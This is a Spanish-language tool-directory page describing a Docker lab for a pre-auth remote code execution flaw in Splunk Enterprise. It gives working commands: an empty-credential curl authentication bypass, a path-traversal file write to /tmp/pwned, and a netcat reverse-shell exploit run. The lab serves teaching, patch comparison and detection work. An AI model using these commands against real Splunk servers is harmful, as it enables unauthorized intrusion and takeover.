Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-20253 — Entorno de laboratorio Docker con exploit PoC y verificador para CVE-2026-20253, un RCE pre-auth en Splunk Enterprise a través del servicio sidecar de PostgreSQL. | Kitploit
Herramientas/GitHubGitHub/ivanesk315/cve-2026-20253
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingLabs y Práctica
GitHubivanesk315/cve-2026-20253

CVE-2026-20253

Entorno de laboratorio Docker con exploit PoC y verificador para CVE-2026-20253, un RCE pre-auth en Splunk Enterprise a través del servicio sidecar de PostgreSQL.

Ver Repositorio
9hace 21 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Entorno de Laboratorio CVE-2026-20253

RCE Pre-Auth en Splunk Enterprise a través del Servicio Sidecar de PostgreSQL

CVECVE-2026-20253
CVSS9.8 (Crítico)
TipoEjecución Remota de Código No Autenticada
CWECWE-306: Autenticación Faltante para Función Crítica
ProductoSplunk Enterprise 10.0.x / 10.2.x

DESCARGO DE RESPONSABILIDAD: Este laboratorio es únicamente para investigación de seguridad autorizada, educación y pruebas de penetración. No lo utilice contra sistemas que no posea o para los que no tenga autorización explícita de prueba.


Arquitectura del Laboratorio

┌──────────────────────────────────────────────────────┐
│                  Docker Network: cve-lab             │
│                  Subnet: 172.20.0.0/24               │
│                                                      │
│  ┌─────────────────────┐   ┌──────────────────────┐  │
│  │  splunk-vulnerable   │   │  attacker            │  │
│  │  172.20.0.10         │   │  172.20.0.50         │  │
│  │                      │   │                      │  │
│  │  Splunk 10.2.3       │   │  Python 3.11         │  │
│  │  Port 8000 (Web)     │   │  nmap, netcat        │  │
│  │  Port 8089 (API)     │   │  postgresql-client   │  │
│  │  Port 8088 (HEC)     │   │  tcpdump             │  │
│  └─────────────────────┘   └──────────────────────┘  │
│                                                      │
│  ┌─────────────────────┐  (optional, profile: patched)│
│  │  splunk-patched      │                             │
│  │  172.20.0.11         │                             │
│  │  Splunk 10.2.4       │                             │
│  │  Port 8001 (Web)     │                             │
│  └─────────────────────┘                             │
└──────────────────────────────────────────────────────┘

Requisitos Previos

  • Docker y Docker Compose
  • Git
  • 8GB+ de RAM (Splunk requiere memoria significativa)
  • Acceso a Internet (para descargar las imágenes de Docker)

Inicio Rápido

1. Iniciar el laboratorio vulnerable

# Start Splunk vulnerable + attacker
docker-compose up -d

# Wait for Splunk to initialize (~2-3 minutes)
docker-compose logs -f splunk-vulnerable
# Look for: "Ansible playbook complete, will begin polling for Splunk On..."
# Then:     "Splunk is ready"

2. Verificar que Splunk está en ejecución

  • Abrir navegador: http://localhost:8000
  • Iniciar sesión: admin / ChangeMeNow!

3. Ejecutar el verificador de vulnerabilidad

# From host machine
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k

# Or enter the attacker container
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k

4. Ejecutar el exploit PoC

# Enter attacker container
docker exec -it attacker bash

# Check vulnerability
python poc.py -t http://172.20.0.10:8000 --check -k

# Full RCE exploit (start listener first in another terminal)
# Terminal 1 - Listener:
docker exec -it attacker nc -lvnp 4444

# Terminal 2 - Exploit:
docker exec -it attacker python poc.py \
    -t http://172.20.0.10:8000 \
    --rce \
    --lhost 172.20.0.50 \
    --lport 4444 \
    -k

5. (Opcional) Iniciar la versión parcheada para comparación

docker-compose --profile patched up -d splunk-patched

# Test against patched instance (should return NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k

Ejercicios del Laboratorio

Ejercicio 1: Reconocimiento e Identificación de Vulnerabilidades

Objetivo: Identificar los endpoints del sidecar de PostgreSQL y verificar el bypass de autenticación.

# Scan Splunk ports
nmap -sV 172.20.0.10 -p 8000,8089,8088

# Probe sidecar endpoints manually with curl
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"

Preguntas:

  • ¿Qué códigos de estado HTTP observa?
  • ¿A qué decodifica Authorization: Basic Og==?
  • ¿Por qué una respuesta 400 indica vulnerabilidad (frente a 401)?

Ejercicio 2: Primitiva de Escritura de Archivos

Objetivo: Demostrar la creación arbitraria de archivos en el servidor Splunk.

# Create a test file via the backup endpoint
curl -k -X POST -u ":" \
  "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"

# Verify the file was created
docker exec splunk-vulnerable ls -la /tmp/pwned

Ejercicio 3: Cadena Completa de RCE

Objetivo: Lograr la ejecución de código en el servidor Splunk.

  1. Iniciar un listener de netcat en la máquina atacante
  2. Ejecutar el exploit PoC con el flag --rce
  3. Verificar la conexión de reverse shell
  4. Investigar qué permisos tiene el shell (whoami, id, ls /opt/splunk/etc/)

Ejercicio 4: Análisis de Diff del Parche

Objetivo: Entender qué cambió entre las versiones vulnerable y parcheada.

# Start both vulnerable and patched instances
docker-compose --profile patched up -d

# Compare responses
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"  # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health"  # 401

# Diff the relevant Splunk configuration/code
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf

Ejercicio 5: Ingeniería de Detección

Objetivo: Crear reglas de detección para esta vulnerabilidad.

  1. Habilitar el registro interno de Splunk en la instancia vulnerable
  2. Ejecutar el exploit
  3. Buscar en index=_internal artefactos del ataque
  4. Escribir consultas de detección SPL (ver report/ANALYSIS.md Sección 6)
  5. Probar sus detecciones contra el exploit

Estructura de Archivos

CVE-2026-20253/
├── README.md                    # This file
├── docker-compose.yml           # Lab environment definition
├── attacker/
│   ├── Dockerfile               # Attacker container build
│   └── requirements.txt         # Python dependencies
├── exploit/
│   ├── checker.py               # Vulnerability checker script
│   ├── poc.py                   # PoC exploit (auth bypass → file write → RCE)
│   └── requirements.txt        # Python dependencies
└── report/
    └── ANALYSIS.md              # Root cause analysis & full report

Consejos de Depuración

El contenedor de Splunk no inicia

docker-compose logs splunk-vulnerable
# Common fix: increase Docker memory to 8GB+

Verificar que el sidecar de PostgreSQL está en ejecución

docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435

Inspeccionar los registros internos de Splunk

docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50

Verificar el script de entrada modular objetivo

docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py

Capturar tráfico de red para análisis

docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10

Limpieza

# Stop and remove all containers
docker-compose --profile patched down

# Remove volumes (delete all Splunk data)
docker-compose --profile patched down -v

# Remove Docker images
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4

Referencias

Descargar herramienta